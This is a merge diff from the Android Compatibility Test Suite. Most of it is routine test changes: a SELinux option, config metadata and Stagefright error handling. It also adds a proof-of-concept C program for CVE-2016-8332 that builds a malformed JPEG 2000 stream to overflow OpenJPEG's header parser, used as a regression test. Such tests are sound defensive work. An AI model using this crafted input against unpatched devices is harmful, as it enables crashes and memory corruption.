Merge "Add CTS testing for permission usage info." into mainline-prod
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index de90629..b63e4ca 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -222,6 +222,8 @@
 
         File systemSepolicyCilFile = File.createTempFile("plat_sepolicy", ".cil");
         systemSepolicyCilFile.deleteOnExit();
+        File fileContextsFile = File.createTempFile("file_contexts", ".txt");
+        fileContextsFile.deleteOnExit();
 
         assertTrue(device.pullFile("/system/etc/selinux/plat_sepolicy.cil", systemSepolicyCilFile));
 
@@ -229,6 +231,7 @@
             secilc.getAbsolutePath(),
             "-m", "-M", "true", "-c", "30",
             "-o", builtPolicyFile.getAbsolutePath(),
+	    "-f", fileContextsFile.getAbsolutePath(),
             systemSepolicyCilFile.getAbsolutePath());
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.bp
new file mode 100644
index 0000000..bbe6c7b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+    name: "CVE-2016-8332",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.c",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    shared_libs: [
+        "libpdfium",
+    ],
+    include_dirs: [
+        "external/pdfium/third_party/libopenjpeg20",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/poc.c
new file mode 100644
index 0000000..86cbaec
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/poc.c
@@ -0,0 +1,141 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <string.h>
+#include <stdlib.h>
+#include "openjpeg.h"
+#include "opj_includes.h"
+
+#define REPEATVALUES    100000
+
+unsigned char gStartValues[] = { 0xFF, 0x4F, 0xFF, 0x51, 0x00, 0x2F, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x07, 0x01,
+        0x01, 0x07, 0x01, 0x01, 0x07, 0x01, 0x01, 0xFF, 0x64, 0x00, 0x23, 0x00,
+        0x01, 0x43, 0x72, 0x65, 0x61, 0x74, 0x6F, 0x72, 0x3A, 0x20, 0x4A, 0x61,
+        0x73, 0x50, 0x65, 0x72, 0x20, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E,
+        0x20, 0x31, 0x2E, 0x37, 0x30, 0x30, 0x2E, 0x31, 0xFF, 0x52, 0x00, 0x0C,
+        0x00, 0x00, 0x00, 0x01, 0x01, 0x05, 0x04, 0x04, 0x00, 0x01, 0xFF, 0x5C,
+        0x00, 0x13, 0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48,
+        0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x01,
+        0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48,
+        0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x02, 0x40, 0x40,
+        0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50,
+        0x48, 0x48, 0x50 };
+unsigned int gNumStartValues = sizeof(gStartValues) / sizeof(gStartValues[0]);
+
+unsigned char gRepeatValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00 };
+unsigned int gNumRepeatValues = sizeof(gRepeatValues)
+        / sizeof(gRepeatValues[0]);
+
+unsigned char gLastValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x01, 0x00,
+        0x00, 0x00, 0x00 };
+unsigned int gNumLastValues = sizeof(gLastValues) / sizeof(gLastValues[0]);
+
+typedef struct {
+    char* blob;
+    ssize_t blobSize;
+    ssize_t readPos;
+} applicationContext;
+
+opj_stream_t* allocate_stream(void) {
+    opj_stream_private_t * stream = NULL;
+
+    stream = (opj_stream_private_t*) opj_calloc(1, sizeof(opj_stream_private_t));
+    if (!stream) {
+        return NULL;
+    }
+
+    stream->m_buffer_size = OPJ_J2K_STREAM_CHUNK_SIZE;
+    stream->m_stored_data = (OPJ_BYTE *) opj_malloc(OPJ_J2K_STREAM_CHUNK_SIZE);
+    if (!stream->m_stored_data) {
+        opj_free(stream);
+        return NULL;
+    }
+
+    stream->m_current_data = stream->m_stored_data;
+    stream->m_status |= OPJ_STREAM_STATUS_INPUT;
+    stream->m_opj_skip = opj_stream_read_skip;
+    stream->m_opj_seek = opj_stream_read_seek;
+    stream->m_read_fn = opj_stream_default_read;
+    stream->m_write_fn = opj_stream_default_write;
+    stream->m_skip_fn = opj_stream_default_skip;
+    stream->m_seek_fn = opj_stream_default_seek;
+
+    return (opj_stream_t *) stream;
+}
+
+static OPJ_SIZE_T ReadHandler(void *buffer, OPJ_SIZE_T length, void *context) {
+    applicationContext* appContext = (applicationContext*) context;
+    ssize_t count = 0;
+    ssize_t rem = 0;
+    if (!appContext) {
+        return ((OPJ_SIZE_T) - 1);
+    }
+    rem = appContext->blobSize - appContext->readPos;
+    if ((ssize_t) length <= rem) {
+        count = length;
+    } else {
+        count = rem;
+    }
+    memcpy(buffer, &appContext->blob[appContext->readPos], count);
+    appContext->readPos += count;
+    return ((OPJ_SIZE_T) length);
+}
+
+int main(void) {
+    ssize_t offset = 0;
+    unsigned int count = 0;
+    applicationContext sContext;
+    opj_j2k_t* codec = NULL;
+    opj_stream_t* stream = NULL;
+    opj_image_t* image = NULL;
+    opj_stream_private_t* private = NULL;
+    opj_event_mgr_t eventMgr;
+    stream = allocate_stream();
+    private = (opj_stream_private_t*)stream;
+
+    sContext.blobSize = gNumStartValues + REPEATVALUES * gNumRepeatValues
+            + gNumLastValues;
+    sContext.blob = (char*) opj_malloc(sContext.blobSize);
+    if (!sContext.blob) {
+        return EXIT_FAILURE;
+    }
+    memset(sContext.blob, 0, sContext.blobSize);
+
+    memcpy(&sContext.blob[offset], gStartValues, gNumStartValues);
+    offset += gNumStartValues;
+    for (count = 0; count < REPEATVALUES; ++count) {
+        memcpy(&sContext.blob[offset], gRepeatValues, gNumRepeatValues);
+        offset += gNumRepeatValues;
+    }
+    memcpy(&sContext.blob[offset], gLastValues, gNumLastValues);
+    offset += gNumLastValues;
+    sContext.readPos = 0;
+    private->m_read_fn = ReadHandler;
+    private->m_user_data = (void*)&sContext;
+    private->m_user_data_length = sContext.blobSize;
+    private->m_free_user_data_fn = NULL;
+    codec = opj_j2k_create_decompress();
+    opj_set_default_event_handler(&eventMgr);
+    opj_j2k_read_header(private,codec,&image,&eventMgr);
+    opj_free(sContext.blob);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
new file mode 100644
index 0000000..9d032cd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2016_8332 extends SecurityTestCase {
+
+    /**
+     * b/37761553
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2017-06")
+    @Test
+    public void testPocCVE_2016_8332() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-8332", null, getDevice());
+    }
+}
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index 11a4298..6e0c8bc4 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -17,7 +17,8 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <!-- CtsDeviceInfo target API is 23; instant app requires target API >= 26. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index 0b4780f..118b40f 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -17,14 +17,12 @@
  */
 
 package android.security.cts;
-import android.platform.test.annotations.SecurityTest;
 
 /**
  * Run "./cts/tools/utils/java-cert-list-generator.sh >
  * cts/tests/tests/security/src/android/security/cts/CertificateData.java"
  * to generate this file.
  */
-@SecurityTest
 class CertificateData {
   static final String[] CERTIFICATE_DATA = {
       "91:C6:D6:EE:3E:8A:C8:63:84:E5:48:C2:99:29:5C:75:6C:81:7B:81",
diff --git a/tests/tests/security/src/android/security/cts/CertificateTest.java b/tests/tests/security/src/android/security/cts/CertificateTest.java
index 2d88988..7b1ed9d 100644
--- a/tests/tests/security/src/android/security/cts/CertificateTest.java
+++ b/tests/tests/security/src/android/security/cts/CertificateTest.java
@@ -20,7 +20,6 @@
 import java.io.FileInputStream;
 import java.io.IOException;
 import android.content.pm.PackageManager;
-import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import java.security.KeyStore;
 import java.security.KeyStoreException;
@@ -37,7 +36,6 @@
 import java.util.List;
 import java.util.Set;
 
-@SecurityTest
 public class CertificateTest extends AndroidTestCase {
     // The directory for CA root certificates trusted by WFA (WiFi Alliance)
     private static final String DIR_OF_CACERTS_FOR_WFA =
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 3aec394..c5234d6 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -148,7 +148,10 @@
             "com.android.apex.cts.shim",
 
             // Oom Catcher package to prevent tests from ooming device.
-            "com.android.cts.oomcatcher"
+            "com.android.cts.oomcatcher",
+
+            // Collects device info at the start of the test
+            "com.android.compatibility.common.deviceinfo"
 
             ));
 
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index bff8c2a..a2d5ccd 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1861,7 +1861,9 @@
             Thread.sleep(CHECK_INTERVAL);
             timeout -= CHECK_INTERVAL;
         }
+
         if (!reportFile.exists() || !reportFile.isFile() || !lockFile.exists()) {
+            Log.e(TAG, "couldn't get the report or lock file");
             return null;
         }
         try (BufferedReader reader = new BufferedReader(new FileReader(reportFile))) {
@@ -1926,7 +1928,9 @@
             if (what != MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
                 what = newWhat;
             }
+
             lock.lock();
+            errored = true;
             condition.signal();
             lock.unlock();
 
@@ -1949,17 +1953,19 @@
 
         public int waitForError() throws InterruptedException {
             lock.lock();
-            if (condition.awaitNanos(TIMEOUT_NS) <= 0) {
-                Log.d(TAG, "timed out on waiting for error");
+            if (!errored && !completed) {
+                if (condition.awaitNanos(TIMEOUT_NS) <= 0) {
+                    Log.d(TAG, "timed out on waiting for error. " +
+                          "errored: " + errored + ", completed: " + completed);
+                }
             }
             lock.unlock();
-            if (what != 0) {
+            if (what == MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
                 // Sometimes mediaserver signals a decoding error first, and *then* crashes
                 // due to additional in-flight buffers being processed, so wait a little
                 // and see if more errors show up.
+                Log.e(TAG, "couldn't get media crash yet, waiting 1 second");
                 SystemClock.sleep(1000);
-            }
-            if (what == MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
                 JSONArray crashes = getCrashReport(name.getMethodName(), 5000);
                 if (crashes == null) {
                     Log.e(TAG, "Crash results not found for test " + name.getMethodName());
@@ -1972,8 +1978,8 @@
                     // 0 is the code for no error.
                     return 0;
                 }
-
             }
+            Log.d(TAG, "waitForError finished with no errors.");
             return what;
         }
 
@@ -1990,6 +1996,7 @@
         Condition condition = lock.newCondition();
         int what;
         boolean completed = false;
+        boolean errored = false;
     }
 
     class LooperThread extends Thread {